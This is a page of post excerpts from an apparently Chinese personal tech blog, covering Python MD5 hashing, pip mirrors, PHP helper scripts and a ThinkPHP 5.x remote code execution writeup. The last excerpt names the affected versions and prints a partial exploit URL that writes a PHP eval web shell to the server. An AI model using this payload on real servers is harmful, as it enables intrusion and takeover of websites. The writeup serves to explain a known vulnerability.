2020-4-11 myluzh
Python
# 由于MD5模块在python3中被移除
# 在python3中使用hashlib模块进行md5操作
import hashlib
# 输入待加密字符串
str = input('Please enter the string to be MD5 encrypted:\n')
# 创建md5对象
m = hashlib.md5()
# Tips
# 此处必须encode
# 若写法为m.update(str) 报错为: Unicode-objects must be encoded before hashing
# 因为python3里默认的str是unicode
# 或者 b = bytes(str, encoding='utf-8'),作用相同,都是encode为bytes
b = str.encode(encoding='utf-8')
m.update(b)
str_md5 = m.hexdigest()
#输出md5加密后的值
print('After MD5 encryption:\n' + str_md5)
阅读全文>>
标签: python md5
评论(0)
(748)
2020-4-8 myluzh
Python
0x01 国内pip源地址
阿里云 http://mirrors.aliyun.com/pypi/simple/
豆瓣 http://pypi.douban.com/simple/
清华大学 https://pypi.tuna.tsinghua.edu.cn/simple/
中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/
0x02 临时使用pip源
在使用pip时候,后面加上参数-i 镜像地址,例如:
pip3 install pygame -i http://mirrors.aliyun.com/pypi/simple/
0x03 永久更换pip源
1.Linux下,修改 ~/.pip/pip.conf 没有就创建一个文件夹及文件。文件夹要加“.”,表示是隐藏文件夹。内容如下:
[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
[install]
trusted-host = https://pypi.tuna.tsinghua.edu.cn
2.window...
阅读全文>>
标签: python pip
评论(0)
(853)
2020-4-5 myluzh
PHP
0x01 问题描述
最近在开发PHP+HTML页面时遇到一个问题,本地测试环境运行页面没有任何问题,把页面上传到服务器,访问网站页面,页面顶部就会空出一部分,看了下审查元素 body标签里面多出了 的内容。
找了下问题出现原因跟解决方案:模板文件生成html文件之后会在body开头处加入一个可见的控制符,导致页面头部会出现一个空白行。原因是页面的编码是UTF-8 + BOM。用Sublime或者其他代码编辑器把页面保存为UTF8无BOM的编码即可。但是我尝试了一下空白部分还在,并未解决。
0x02 解决方案
把下面代码保存为delbom.php,放到网站根目录,访问该页面即可删掉网站全部BOM头。然后就可以把delbom.php删掉了~
<?php
if (isset($_GET['dir'])) { //设置文件目录
$basedir = $_GET['dir'];
} else {
...
阅读全文>>
标签: 
评论(0)
(877)
2020-4-3 myluzh
PHP
//删除指定文件夹以及文件夹下的所有文件
function deldir($dir) {
//先删除目录下的文件:
$dh=opendir($dir);
while ($file=readdir($dh)) {
if($file!="." && $file!="..") {
$fullpath=$dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
deldir($fullpath);
}
}
}
closedir($dh);
//删除当前文件夹:
if(rmdir($dir)) {
return true;
} else {
return false;
}
}
阅读全文>>
标签: php
评论(0)
(710)
2020-3-30 myluzh
PHP
可以计算两个字符串之间最长公共子序列或者相似度,但是比较吃内存。
<?php
class LCS {
var $str1;
var $str2;
var $c = array();
/*返回串一和串二的最长公共子序列
*/
function getLCS($str1, $str2, $len1 = 0, $len2 = 0) {
$this->str1 = $str1;
$this->str2 = $str2;
if ($len1 == 0) $len1 = strlen($str1);
if ($len2 == 0) $len2 = strlen($str2);
$this->initC($len1, $len2);
return $this->printLCS($this->c, $len1 - 1, $len2 - 1);
}
/*返回两个串的相似度
*/
function getSimil...
阅读全文>>
标签: php 算法
评论(0)
(857)
2020-3-25 myluzh
PHP
0x01影响版本:
ThinkPHP v5.0系列<5.0.23
ThinkPHP v5.1系列<5.1.31
0x02漏洞分析:
关键代码:
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
该漏洞形成的原因是ThinkPHP在获取控制器名时未对用户提交的参数进行严格的过滤,在没有开启强制路由的情况下,攻击者可以通过输入‘\’字符的方式调用任意方法,从而实现远程代码执行。
0x03入侵利用
1. 写入 Shell
http//localhost/thinkphp-5.1.29/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_REQUEST[...
阅读全文>>
标签: 渗透 php 漏洞 ThinkPHP 远程命令执行
评论(0)
(1461)